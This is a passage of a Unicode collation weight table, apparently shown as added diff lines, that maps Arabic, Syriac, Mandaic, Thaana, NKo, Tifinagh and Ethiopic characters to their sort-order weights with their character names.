+FBE9  ; [.23C5.0020.0018] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM
+FEF0  ; [.23C5.0020.0019] # ARABIC LETTER ALEF MAKSURA FINAL FORM
+FEEF  ; [.23C5.0020.001A] # ARABIC LETTER ALEF MAKSURA ISOLATED FORM
+FC90  ; [.23C5.0020.0019][.0000.0098.0019] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM
+FC5D  ; [.23C5.0020.001A][.0000.0098.001A] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM
+064A  ; [.23C6.0020.0002] # ARABIC LETTER YEH
+06E6  ; [.23C6.0020.0004] # ARABIC SMALL YEH
+1EE09 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL YEH
+1EE29 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL INITIAL YEH
+1EE49 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL TAILED YEH
+1EE69 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL STRETCHED YEH
+1EE89 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL LOOPED YEH
+1EEA9 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK YEH
+FEF3  ; [.23C6.0020.0017] # ARABIC LETTER YEH INITIAL FORM
+FEF4  ; [.23C6.0020.0018] # ARABIC LETTER YEH MEDIAL FORM
+FEF2  ; [.23C6.0020.0019] # ARABIC LETTER YEH FINAL FORM
+FEF1  ; [.23C6.0020.001A] # ARABIC LETTER YEH ISOLATED FORM
+0678  ; [.23C6.0020.0004][.22FD.0020.0004] # ARABIC LETTER HIGH HAMZA YEH
+FCDA  ; [.23C6.0020.0017][.2325.0020.0017] # ARABIC LIGATURE YEH WITH JEEM INITIAL FORM
+FC55  ; [.23C6.0020.001A][.2325.0020.001A] # ARABIC LIGATURE YEH WITH JEEM ISOLATED FORM
+FDAF  ; [.23C6.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH JEEM WITH YEH FINAL FORM
+FCDB  ; [.23C6.0020.0017][.232C.0020.0017] # ARABIC LIGATURE YEH WITH HAH INITIAL FORM
+FC56  ; [.23C6.0020.001A][.232C.0020.001A] # ARABIC LIGATURE YEH WITH HAH ISOLATED FORM
+FDAE  ; [.23C6.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH HAH WITH YEH FINAL FORM
+FCDC  ; [.23C6.0020.0017][.232D.0020.0017] # ARABIC LIGATURE YEH WITH KHAH INITIAL FORM
+FC57  ; [.23C6.0020.001A][.232D.0020.001A] # ARABIC LIGATURE YEH WITH KHAH ISOLATED FORM
+FC91  ; [.23C6.0020.0019][.2346.0020.0019] # ARABIC LIGATURE YEH WITH REH FINAL FORM
+FC92  ; [.23C6.0020.0019][.2347.0020.0019] # ARABIC LIGATURE YEH WITH ZAIN FINAL FORM
+FCDD  ; [.23C6.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE YEH WITH MEEM INITIAL FORM
+FCF0  ; [.23C6.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE YEH WITH MEEM MEDIAL FORM
+FC93  ; [.23C6.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE YEH WITH MEEM FINAL FORM
+FC58  ; [.23C6.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE YEH WITH MEEM ISOLATED FORM
+FD9D  ; [.23C6.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE YEH WITH MEEM WITH MEEM INITIAL FORM
+FD9C  ; [.23C6.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE YEH WITH MEEM WITH MEEM FINAL FORM
+FDB0  ; [.23C6.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH MEEM WITH YEH FINAL FORM
+FC94  ; [.23C6.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE YEH WITH NOON FINAL FORM
+FCDE  ; [.23C6.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE YEH WITH HEH INITIAL FORM
+FCF1  ; [.23C6.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE YEH WITH HEH MEDIAL FORM
+FC95  ; [.23C6.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE YEH WITH ALEF MAKSURA FINAL FORM
+FC59  ; [.23C6.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE YEH WITH ALEF MAKSURA ISOLATED FORM
+FC96  ; [.23C6.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH YEH FINAL FORM
+FC5A  ; [.23C6.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE YEH WITH YEH ISOLATED FORM
+06CC  ; [.23C7.0020.0002] # ARABIC LETTER FARSI YEH
+FBFE  ; [.23C7.0020.0017] # ARABIC LETTER FARSI YEH INITIAL FORM
+FBFF  ; [.23C7.0020.0018] # ARABIC LETTER FARSI YEH MEDIAL FORM
+FBFD  ; [.23C7.0020.0019] # ARABIC LETTER FARSI YEH FINAL FORM
+FBFC  ; [.23C7.0020.001A] # ARABIC LETTER FARSI YEH ISOLATED FORM
+06CD  ; [.23C8.0020.0002] # ARABIC LETTER YEH WITH TAIL
+06CE  ; [.23C9.0020.0002] # ARABIC LETTER YEH WITH SMALL V
+06D0  ; [.23CA.0020.0002] # ARABIC LETTER E
+FBE6  ; [.23CA.0020.0017] # ARABIC LETTER E INITIAL FORM
+FBE7  ; [.23CA.0020.0018] # ARABIC LETTER E MEDIAL FORM
+FBE5  ; [.23CA.0020.0019] # ARABIC LETTER E FINAL FORM
+FBE4  ; [.23CA.0020.001A] # ARABIC LETTER E ISOLATED FORM
+06D1  ; [.23CB.0020.0002] # ARABIC LETTER YEH WITH THREE DOTS BELOW
+063D  ; [.23CC.0020.0002] # ARABIC LETTER FARSI YEH WITH INVERTED V
+063E  ; [.23CD.0020.0002] # ARABIC LETTER FARSI YEH WITH TWO DOTS ABOVE
+063F  ; [.23CE.0020.0002] # ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE
+0620  ; [.23CF.0020.0002] # ARABIC LETTER KASHMIRI YEH
+0775  ; [.23D0.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE
+0776  ; [.23D1.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE
+0777  ; [.23D2.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW
+08BA  ; [.23D3.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND SMALL NOON ABOVE
+06D2  ; [.23D4.0020.0002] # ARABIC LETTER YEH BARREE
+FBAF  ; [.23D4.0020.0019] # ARABIC LETTER YEH BARREE FINAL FORM
+FBAE  ; [.23D4.0020.001A] # ARABIC LETTER YEH BARREE ISOLATED FORM
+06D3  ; [.23D4.0020.0002][.0000.0083.0002] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
+FBB1  ; [.23D4.0020.0019][.0000.0083.0019] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM
+FBB0  ; [.23D4.0020.001A][.0000.0083.001A] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE ISOLATED FORM
+077A  ; [.23D5.0020.0002] # ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE
+077B  ; [.23D6.0020.0002] # ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE
+0710  ; [.23D7.0020.0002] # SYRIAC LETTER ALAPH
+0712  ; [.23D8.0020.0002] # SYRIAC LETTER BETH
+072D  ; [.23D8.0020.0004][.0000.0112.0004] # SYRIAC LETTER PERSIAN BHETH
+0713  ; [.23D9.0020.0002] # SYRIAC LETTER GAMAL
+0714  ; [.23D9.0020.0004][.0000.0111.0004] # SYRIAC LETTER GAMAL GARSHUNI
+072E  ; [.23D9.0020.0004][.0000.0112.0004] # SYRIAC LETTER PERSIAN GHAMAL
+0716  ; [.23DA.0020.0002] # SYRIAC LETTER DOTLESS DALATH RISH
+0715  ; [.23DB.0020.0002] # SYRIAC LETTER DALATH
+072F  ; [.23DB.0020.0004][.0000.0112.0004] # SYRIAC LETTER PERSIAN DHALATH
+0717  ; [.23DC.0020.0002] # SYRIAC LETTER HE
+0718  ; [.23DD.0020.0002] # SYRIAC LETTER WAW
+0719  ; [.23DE.0020.0002] # SYRIAC LETTER ZAIN
+074D  ; [.23DF.0020.0002] # SYRIAC LETTER SOGDIAN ZHAIN
+071A  ; [.23E0.0020.0002] # SYRIAC LETTER HETH
+071B  ; [.23E1.0020.0002] # SYRIAC LETTER TETH
+071C  ; [.23E1.0020.0004][.0000.0111.0004] # SYRIAC LETTER TETH GARSHUNI
+071D  ; [.23E2.0020.0002] # SYRIAC LETTER YUDH
+071E  ; [.23E3.0020.0002] # SYRIAC LETTER YUDH HE
+071F  ; [.23E4.0020.0002] # SYRIAC LETTER KAPH
+074E  ; [.23E5.0020.0002] # SYRIAC LETTER SOGDIAN KHAPH
+0720  ; [.23E6.0020.0002] # SYRIAC LETTER LAMADH
+0721  ; [.23E7.0020.0002] # SYRIAC LETTER MIM
+0722  ; [.23E8.0020.0002] # SYRIAC LETTER NUN
+0723  ; [.23E9.0020.0002] # SYRIAC LETTER SEMKATH
+0724  ; [.23E9.0020.0019] # SYRIAC LETTER FINAL SEMKATH
+0725  ; [.23EA.0020.0002] # SYRIAC LETTER E
+0726  ; [.23EB.0020.0002] # SYRIAC LETTER PE
+0727  ; [.23EB.0020.0004][.0000.0111.0004] # SYRIAC LETTER REVERSED PE
+074F  ; [.23EC.0020.0002] # SYRIAC LETTER SOGDIAN FE
+0728  ; [.23ED.0020.0002] # SYRIAC LETTER SADHE
+0729  ; [.23EE.0020.0002] # SYRIAC LETTER QAPH
+072A  ; [.23EF.0020.0002] # SYRIAC LETTER RISH
+072B  ; [.23F0.0020.0002] # SYRIAC LETTER SHIN
+072C  ; [.23F1.0020.0002] # SYRIAC LETTER TAW
+0840  ; [.23F2.0020.0002] # MANDAIC LETTER HALQA
+0841  ; [.23F3.0020.0002] # MANDAIC LETTER AB
+0842  ; [.23F4.0020.0002] # MANDAIC LETTER AG
+0843  ; [.23F5.0020.0002] # MANDAIC LETTER AD
+0844  ; [.23F6.0020.0002] # MANDAIC LETTER AH
+0845  ; [.23F7.0020.0002] # MANDAIC LETTER USHENNA
+0846  ; [.23F8.0020.0002] # MANDAIC LETTER AZ
+0847  ; [.23F9.0020.0002] # MANDAIC LETTER IT
+0848  ; [.23FA.0020.0002] # MANDAIC LETTER ATT
+0849  ; [.23FB.0020.0002] # MANDAIC LETTER AKSA
+084A  ; [.23FC.0020.0002] # MANDAIC LETTER AK
+084B  ; [.23FD.0020.0002] # MANDAIC LETTER AL
+084C  ; [.23FE.0020.0002] # MANDAIC LETTER AM
+084D  ; [.23FF.0020.0002] # MANDAIC LETTER AN
+084E  ; [.2400.0020.0002] # MANDAIC LETTER AS
+084F  ; [.2401.0020.0002] # MANDAIC LETTER IN
+0850  ; [.2402.0020.0002] # MANDAIC LETTER AP
+0851  ; [.2403.0020.0002] # MANDAIC LETTER ASZ
+0852  ; [.2404.0020.0002] # MANDAIC LETTER AQ
+0853  ; [.2405.0020.0002] # MANDAIC LETTER AR
+0854  ; [.2406.0020.0002] # MANDAIC LETTER ASH
+0855  ; [.2407.0020.0002] # MANDAIC LETTER AT
+0856  ; [.2408.0020.0002] # MANDAIC LETTER DUSHENNA
+0857  ; [.2409.0020.0002] # MANDAIC LETTER KAD
+0858  ; [.240A.0020.0002] # MANDAIC LETTER AIN
+0780  ; [.240B.0020.0002] # THAANA LETTER HAA
+0799  ; [.240C.0020.0002] # THAANA LETTER HHAA
+079A  ; [.240D.0020.0002] # THAANA LETTER KHAA
+0781  ; [.240E.0020.0002] # THAANA LETTER SHAVIYANI
+0782  ; [.240F.0020.0002] # THAANA LETTER NOONU
+0783  ; [.2410.0020.0002] # THAANA LETTER RAA
+079C  ; [.2411.0020.0002] # THAANA LETTER ZAA
+0784  ; [.2412.0020.0002] # THAANA LETTER BAA
+0785  ; [.2413.0020.0002] # THAANA LETTER LHAVIYANI
+0786  ; [.2414.0020.0002] # THAANA LETTER KAAFU
+0787  ; [.2415.0020.0002] # THAANA LETTER ALIFU
+07A2  ; [.2416.0020.0002] # THAANA LETTER AINU
+07A3  ; [.2417.0020.0002] # THAANA LETTER GHAINU
+0788  ; [.2418.0020.0002] # THAANA LETTER VAAVU
+07A5  ; [.2419.0020.0002] # THAANA LETTER WAAVU
+0789  ; [.241A.0020.0002] # THAANA LETTER MEEMU
+078A  ; [.241B.0020.0002] # THAANA LETTER FAAFU
+078B  ; [.241C.0020.0002] # THAANA LETTER DHAALU
+079B  ; [.241D.0020.0002] # THAANA LETTER THAALU
+078C  ; [.241E.0020.0002] # THAANA LETTER THAA
+0798  ; [.241F.0020.0002] # THAANA LETTER TTAA
+07A0  ; [.2420.0020.0002] # THAANA LETTER TO
+07A1  ; [.2421.0020.0002] # THAANA LETTER ZO
+078D  ; [.2422.0020.0002] # THAANA LETTER LAAMU
+078E  ; [.2423.0020.0002] # THAANA LETTER GAAFU
+07A4  ; [.2424.0020.0002] # THAANA LETTER QAAFU
+078F  ; [.2425.0020.0002] # THAANA LETTER GNAVIYANI
+0790  ; [.2426.0020.0002] # THAANA LETTER SEENU
+079D  ; [.2427.0020.0002] # THAANA LETTER SHEENU
+079E  ; [.2428.0020.0002] # THAANA LETTER SAADHU
+079F  ; [.2429.0020.0002] # THAANA LETTER DAADHU
+0791  ; [.242A.0020.0002] # THAANA LETTER DAVIYANI
+0792  ; [.242B.0020.0002] # THAANA LETTER ZAVIYANI
+0793  ; [.242C.0020.0002] # THAANA LETTER TAVIYANI
+0794  ; [.242D.0020.0002] # THAANA LETTER YAA
+0795  ; [.242E.0020.0002] # THAANA LETTER PAVIYANI
+0796  ; [.242F.0020.0002] # THAANA LETTER JAVIYANI
+0797  ; [.2430.0020.0002] # THAANA LETTER CHAVIYANI
+07B1  ; [.2431.0020.0002] # THAANA LETTER NAA
+07A6  ; [.2432.0020.0002] # THAANA ABAFILI
+07A7  ; [.2433.0020.0002] # THAANA AABAAFILI
+07A8  ; [.2434.0020.0002] # THAANA IBIFILI
+07A9  ; [.2435.0020.0002] # THAANA EEBEEFILI
+07AA  ; [.2436.0020.0002] # THAANA UBUFILI
+07AB  ; [.2437.0020.0002] # THAANA OOBOOFILI
+07AC  ; [.2438.0020.0002] # THAANA EBEFILI
+07AD  ; [.2439.0020.0002] # THAANA EYBEYFILI
+07AE  ; [.243A.0020.0002] # THAANA OBOFILI
+07AF  ; [.243B.0020.0002] # THAANA OABOAFILI
+07B0  ; [.243C.0020.0002] # THAANA SUKUN
+07CA  ; [.243D.0020.0002] # NKO LETTER A
+07CB  ; [.243E.0020.0002] # NKO LETTER EE
+07CC  ; [.243F.0020.0002] # NKO LETTER I
+07CD  ; [.2440.0020.0002] # NKO LETTER E
+07CE  ; [.2441.0020.0002] # NKO LETTER U
+07CF  ; [.2442.0020.0002] # NKO LETTER OO
+07D0  ; [.2443.0020.0002] # NKO LETTER O
+07D1  ; [.2444.0020.0002] # NKO LETTER DAGBASINNA
+07D2  ; [.2445.0020.0002] # NKO LETTER N
+07D3  ; [.2446.0020.0002] # NKO LETTER BA
+07D4  ; [.2447.0020.0002] # NKO LETTER PA
+07D5  ; [.2448.0020.0002] # NKO LETTER TA
+07D6  ; [.2449.0020.0002] # NKO LETTER JA
+07E8  ; [.2449.0020.0004][.0000.0110.0004] # NKO LETTER JONA JA
+07D7  ; [.244A.0020.0002] # NKO LETTER CHA
+07E9  ; [.244A.0020.0004][.0000.0110.0004] # NKO LETTER JONA CHA
+07D8  ; [.244B.0020.0002] # NKO LETTER DA
+07D9  ; [.244C.0020.0002] # NKO LETTER RA
+07EA  ; [.244C.0020.0004][.0000.0110.0004] # NKO LETTER JONA RA
+07DA  ; [.244D.0020.0002] # NKO LETTER RRA
+07DB  ; [.244E.0020.0002] # NKO LETTER SA
+07DC  ; [.244F.0020.0002] # NKO LETTER GBA
+07DD  ; [.2450.0020.0002] # NKO LETTER FA
+07DE  ; [.2451.0020.0002] # NKO LETTER KA
+07DF  ; [.2452.0020.0002] # NKO LETTER LA
+07E0  ; [.2453.0020.0002] # NKO LETTER NA WOLOSO
+07E1  ; [.2454.0020.0002] # NKO LETTER MA
+07E2  ; [.2455.0020.0002] # NKO LETTER NYA
+07E3  ; [.2456.0020.0002] # NKO LETTER NA
+07E4  ; [.2457.0020.0002] # NKO LETTER HA
+07E5  ; [.2458.0020.0002] # NKO LETTER WA
+07E6  ; [.2459.0020.0002] # NKO LETTER YA
+07E7  ; [.245A.0020.0002] # NKO LETTER NYA WOLOSO
+07F4  ; [.245B.0020.0002] # NKO HIGH TONE APOSTROPHE
+07F5  ; [.245C.0020.0002] # NKO LOW TONE APOSTROPHE
+2D30  ; [.245D.0020.0002] # TIFINAGH LETTER YA
+2D31  ; [.245E.0020.0002] # TIFINAGH LETTER YAB
+2D32  ; [.245F.0020.0002] # TIFINAGH LETTER YABH
+2D33  ; [.2460.0020.0002] # TIFINAGH LETTER YAG
+2D34  ; [.2461.0020.0002] # TIFINAGH LETTER YAGHH
+2D35  ; [.2462.0020.0002] # TIFINAGH LETTER BERBER ACADEMY YAJ
+2D36  ; [.2463.0020.0002] # TIFINAGH LETTER YAJ
+2D37  ; [.2464.0020.0002] # TIFINAGH LETTER YAD
+2D38  ; [.2465.0020.0002] # TIFINAGH LETTER YADH
+2D39  ; [.2466.0020.0002] # TIFINAGH LETTER YADD
+2D3A  ; [.2467.0020.0002] # TIFINAGH LETTER YADDH
+2D3B  ; [.2468.0020.0002] # TIFINAGH LETTER YEY
+2D66  ; [.2469.0020.0002] # TIFINAGH LETTER YE
+2D3C  ; [.246A.0020.0002] # TIFINAGH LETTER YAF
+2D3D  ; [.246B.0020.0002] # TIFINAGH LETTER YAK
+2D3E  ; [.246C.0020.0002] # TIFINAGH LETTER TUAREG YAK
+2D3F  ; [.246D.0020.0002] # TIFINAGH LETTER YAKHH
+2D40  ; [.246E.0020.0002] # TIFINAGH LETTER YAH
+2D41  ; [.246F.0020.0002] # TIFINAGH LETTER BERBER ACADEMY YAH
+2D42  ; [.2470.0020.0002] # TIFINAGH LETTER TUAREG YAH
+2D43  ; [.2471.0020.0002] # TIFINAGH LETTER YAHH
+2D44  ; [.2472.0020.0002] # TIFINAGH LETTER YAA
+2D45  ; [.2473.0020.0002] # TIFINAGH LETTER YAKH
+2D46  ; [.2474.0020.0002] # TIFINAGH LETTER TUAREG YAKH
+2D47  ; [.2475.0020.0002] # TIFINAGH LETTER YAQ
+2D48  ; [.2476.0020.0002] # TIFINAGH LETTER TUAREG YAQ
+2D49  ; [.2477.0020.0002] # TIFINAGH LETTER YI
+2D4A  ; [.2478.0020.0002] # TIFINAGH LETTER YAZH
+2D4B  ; [.2479.0020.0002] # TIFINAGH LETTER AHAGGAR YAZH
+2D4C  ; [.247A.0020.0002] # TIFINAGH LETTER TUAREG YAZH
+2D4D  ; [.247B.0020.0002] # TIFINAGH LETTER YAL
+2D4E  ; [.247C.0020.0002] # TIFINAGH LETTER YAM
+2D4F  ; [.247D.0020.0002] # TIFINAGH LETTER YAN
+2D50  ; [.247E.0020.0002] # TIFINAGH LETTER TUAREG YAGN
+2D51  ; [.247F.0020.0002] # TIFINAGH LETTER TUAREG YANG
+2D52  ; [.2480.0020.0002] # TIFINAGH LETTER YAP
+2D53  ; [.2481.0020.0002] # TIFINAGH LETTER YU
+2D67  ; [.2482.0020.0002] # TIFINAGH LETTER YO
+2D54  ; [.2483.0020.0002] # TIFINAGH LETTER YAR
+2D55  ; [.2484.0020.0002] # TIFINAGH LETTER YARR
+2D56  ; [.2485.0020.0002] # TIFINAGH LETTER YAGH
+2D57  ; [.2486.0020.0002] # TIFINAGH LETTER TUAREG YAGH
+2D58  ; [.2487.0020.0002] # TIFINAGH LETTER AYER YAGH
+2D59  ; [.2488.0020.0002] # TIFINAGH LETTER YAS
+2D5A  ; [.2489.0020.0002] # TIFINAGH LETTER YASS
+2D5B  ; [.248A.0020.0002] # TIFINAGH LETTER YASH
+2D5C  ; [.248B.0020.0002] # TIFINAGH LETTER YAT
+2D5D  ; [.248C.0020.0002] # TIFINAGH LETTER YATH
+2D5E  ; [.248D.0020.0002] # TIFINAGH LETTER YACH
+2D5F  ; [.248E.0020.0002] # TIFINAGH LETTER YATT
+2D60  ; [.248F.0020.0002] # TIFINAGH LETTER YAV
+2D61  ; [.2490.0020.0002] # TIFINAGH LETTER YAW
+2D62  ; [.2491.0020.0002] # TIFINAGH LETTER YAY
+2D63  ; [.2492.0020.0002] # TIFINAGH LETTER YAZ
+2D64  ; [.2493.0020.0002] # TIFINAGH LETTER TAWELLEMET YAZ
+2D65  ; [.2494.0020.0002] # TIFINAGH LETTER YAZZ
+2D6F  ; [.2495.0020.0002] # TIFINAGH MODIFIER LETTER LABIALIZATION MARK
+1200  ; [.2496.0020.0002] # ETHIOPIC SYLLABLE HA
+1201  ; [.2497.0020.0002] # ETHIOPIC SYLLABLE HU
+1202  ; [.2498.0020.0002] # ETHIOPIC SYLLABLE HI
+1203  ; [.2499.0020.0002] # ETHIOPIC SYLLABLE HAA
+1204  ; [.249A.0020.0002] # ETHIOPIC SYLLABLE HEE
+1205  ; [.249B.0020.0002] # ETHIOPIC SYLLABLE HE
+1206  ; [.249C.0020.0002] # ETHIOPIC SYLLABLE HO
+1207  ; [.249D.0020.0002] # ETHIOPIC SYLLABLE HOA
+1208  ; [.249E.0020.0002] # ETHIOPIC SYLLABLE LA
+1209  ; [.249F.0020.0002] # ETHIOPIC SYLLABLE LU
+120A  ; [.24A0.0020.0002] # ETHIOPIC SYLLABLE LI
+120B  ; [.24A1.0020.0002] # ETHIOPIC SYLLABLE LAA
+120C  ; [.24A2.0020.0002] # ETHIOPIC SYLLABLE LEE
+120D  ; [.24A3.0020.0002] # ETHIOPIC SYLLABLE LE
+120E  ; [.24A4.0020.0002] # ETHIOPIC SYLLABLE LO
+120F  ; [.24A5.0020.0002] # ETHIOPIC SYLLABLE LWA
+2D80  ; [.24A6.0020.0002] # ETHIOPIC SYLLABLE LOA
+1210  ; [.24A7.0020.0002] # ETHIOPIC SYLLABLE HHA
+1211  ; [.24A8.0020.0002] # ETHIOPIC SYLLABLE HHU
+1212  ; [.24A9.0020.0002] # ETHIOPIC SYLLABLE HHI
+1213  ; [.24AA.0020.0002] # ETHIOPIC SYLLABLE HHAA
+1214  ; [.24AB.0020.0002] # ETHIOPIC SYLLABLE HHEE
+1215  ; [.24AC.0020.0002] # ETHIOPIC SYLLABLE HHE
+1216  ; [.24AD.0020.0002] # ETHIOPIC SYLLABLE HHO
+1217  ; [.24AE.0020.0002] # ETHIOPIC SYLLABLE HHWA
+1218  ; [.24AF.0020.0002] # ETHIOPIC SYLLABLE MA
+1219  ; [.24B0.0020.0002] # ETHIOPIC SYLLABLE MU
+121A  ; [.24B1.0020.0002] # ETHIOPIC SYLLABLE MI
+121B  ; [.24B2.0020.0002] # ETHIOPIC SYLLABLE MAA
+121C  ; [.24B3.0020.0002] # ETHIOPIC SYLLABLE MEE
+121D  ; [.24B4.0020.0002] # ETHIOPIC SYLLABLE ME
+121E  ; [.24B5.0020.0002] # ETHIOPIC SYLLABLE MO
+121F  ; [.24B6.0020.0002] # ETHIOPIC SYLLABLE MWA
+1380  ; [.24B7.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT MWA
+1381  ; [.24B8.0020.0002] # ETHIOPIC SYLLABLE MWI
+1382  ; [.24B9.0020.0002] # ETHIOPIC SYLLABLE MWEE
+1383  ; [.24BA.0020.0002] # ETHIOPIC SYLLABLE MWE
+2D81  ; [.24BB.0020.0002] # ETHIOPIC SYLLABLE MOA
+1220  ; [.24BC.0020.0002] # ETHIOPIC SYLLABLE SZA
+1221  ; [.24BD.0020.0002] # ETHIOPIC SYLLABLE SZU
+1222  ; [.24BE.0020.0002] # ETHIOPIC SYLLABLE SZI
+1223  ; [.24BF.0020.0002] # ETHIOPIC SYLLABLE SZAA
+1224  ; [.24C0.0020.0002] # ETHIOPIC SYLLABLE SZEE
+1225  ; [.24C1.0020.0002] # ETHIOPIC SYLLABLE SZE
+1226  ; [.24C2.0020.0002] # ETHIOPIC SYLLABLE SZO
+1227  ; [.24C3.0020.0002] # ETHIOPIC SYLLABLE SZWA
+1228  ; [.24C4.0020.0002] # ETHIOPIC SYLLABLE RA
+1229  ; [.24C5.0020.0002] # ETHIOPIC SYLLABLE RU
+122A  ; [.24C6.0020.0002] # ETHIOPIC SYLLABLE RI
+122B  ; [.24C7.0020.0002] # ETHIOPIC SYLLABLE RAA
+122C  ; [.24C8.0020.0002] # ETHIOPIC SYLLABLE REE
+122D  ; [.24C9.0020.0002] # ETHIOPIC SYLLABLE RE
+122E  ; [.24CA.0020.0002] # ETHIOPIC SYLLABLE RO
+122F  ; [.24CB.0020.0002] # ETHIOPIC SYLLABLE RWA
+2D82  ; [.24CC.0020.0002] # ETHIOPIC SYLLABLE ROA
+1230  ; [.24CD.0020.0002] # ETHIOPIC SYLLABLE SA
+1231  ; [.24CE.0020.0002] # ETHIOPIC SYLLABLE SU
+1232  ; [.24CF.0020.0002] # ETHIOPIC SYLLABLE SI
+1233  ; [.24D0.0020.0002] # ETHIOPIC SYLLABLE SAA
+1234  ; [.24D1.0020.0002] # ETHIOPIC SYLLABLE SEE
+1235  ; [.24D2.0020.0002] # ETHIOPIC SYLLABLE SE
+1236  ; [.24D3.0020.0002] # ETHIOPIC SYLLABLE SO
+1237  ; [.24D4.0020.0002] # ETHIOPIC SYLLABLE SWA
+2D83  ; [.24D5.0020.0002] # ETHIOPIC SYLLABLE SOA
+AB01  ; [.24D6.0020.0002] # ETHIOPIC SYLLABLE TTHU
+AB02  ; [.24D7.0020.0002] # ETHIOPIC SYLLABLE TTHI
+AB03  ; [.24D8.0020.0002] # ETHIOPIC SYLLABLE TTHAA
+AB04  ; [.24D9.0020.0002] # ETHIOPIC SYLLABLE TTHEE
+AB05  ; [.24DA.0020.0002] # ETHIOPIC SYLLABLE TTHE
+AB06  ; [.24DB.0020.0002] # ETHIOPIC SYLLABLE TTHO
+1238  ; [.24DC.0020.0002] # ETHIOPIC SYLLABLE SHA
+1239  ; [.24DD.0020.0002] # ETHIOPIC SYLLABLE SHU
+123A  ; [.24DE.0020.0002] # ETHIOPIC SYLLABLE SHI
+123B  ; [.24DF.0020.0002] # ETHIOPIC SYLLABLE SHAA
+123C  ; [.24E0.0020.0002] # ETHIOPIC SYLLABLE SHEE
+123D  ; [.24E1.0020.0002] # ETHIOPIC SYLLABLE SHE
+123E  ; [.24E2.0020.0002] # ETHIOPIC SYLLABLE SHO
+123F  ; [.24E3.0020.0002] # ETHIOPIC SYLLABLE SHWA
+2D84  ; [.24E4.0020.0002] # ETHIOPIC SYLLABLE SHOA
+1240  ; [.24E5.0020.0002] # ETHIOPIC SYLLABLE QA
+1241  ; [.24E6.0020.0002] # ETHIOPIC SYLLABLE QU
+1242  ; [.24E7.0020.0002] # ETHIOPIC SYLLABLE QI
+1243  ; [.24E8.0020.0002] # ETHIOPIC SYLLABLE QAA
+1244  ; [.24E9.0020.0002] # ETHIOPIC SYLLABLE QEE
+1245  ; [.24EA.0020.0002] # ETHIOPIC SYLLABLE QE
+1246  ; [.24EB.0020.0002] # ETHIOPIC SYLLABLE QO
+1247  ; [.24EC.0020.0002] # ETHIOPIC SYLLABLE QOA
+1248  ; [.24ED.0020.0002] # ETHIOPIC SYLLABLE QWA
+124A  ; [.24EE.0020.0002] # ETHIOPIC SYLLABLE QWI
+124B  ; [.24EF.0020.0002] # ETHIOPIC SYLLABLE QWAA
+124C  ; [.24F0.0020.0002] # ETHIOPIC SYLLABLE QWEE
+124D  ; [.24F1.0020.0002] # ETHIOPIC SYLLABLE QWE
+1250  ; [.24F2.0020.0002] # ETHIOPIC SYLLABLE QHA
+1251  ; [.24F3.0020.0002] # ETHIOPIC SYLLABLE QHU
+1252  ; [.24F4.0020.0002] # ETHIOPIC SYLLABLE QHI
+1253  ; [.24F5.0020.0002] # ETHIOPIC SYLLABLE QHAA
+1254  ; [.24F6.0020.0002] # ETHIOPIC SYLLABLE QHEE
+1255  ; [.24F7.0020.0002] # ETHIOPIC SYLLABLE QHE
+1256  ; [.24F8.0020.0002] # ETHIOPIC SYLLABLE QHO
+1258  ; [.24F9.0020.0002] # ETHIOPIC SYLLABLE QHWA
+125A  ; [.24FA.0020.0002] # ETHIOPIC SYLLABLE QHWI
+125B  ; [.24FB.0020.0002] # ETHIOPIC SYLLABLE QHWAA
+125C  ; [.24FC.0020.0002] # ETHIOPIC SYLLABLE QHWEE
+125D  ; [.24FD.0020.0002] # ETHIOPIC SYLLABLE QHWE
+1260  ; [.24FE.0020.0002] # ETHIOPIC SYLLABLE BA
+1261  ; [.24FF.0020.0002] # ETHIOPIC SYLLABLE BU
+1262  ; [.2500.0020.0002] # ETHIOPIC SYLLABLE BI
+1263  ; [.2501.0020.0002] # ETHIOPIC SYLLABLE BAA
+1264  ; [.2502.0020.0002] # ETHIOPIC SYLLABLE BEE
+1265  ; [.2503.0020.0002] # ETHIOPIC SYLLABLE BE
+1266  ; [.2504.0020.0002] # ETHIOPIC SYLLABLE BO
+1267  ; [.2505.0020.0002] # ETHIOPIC SYLLABLE BWA
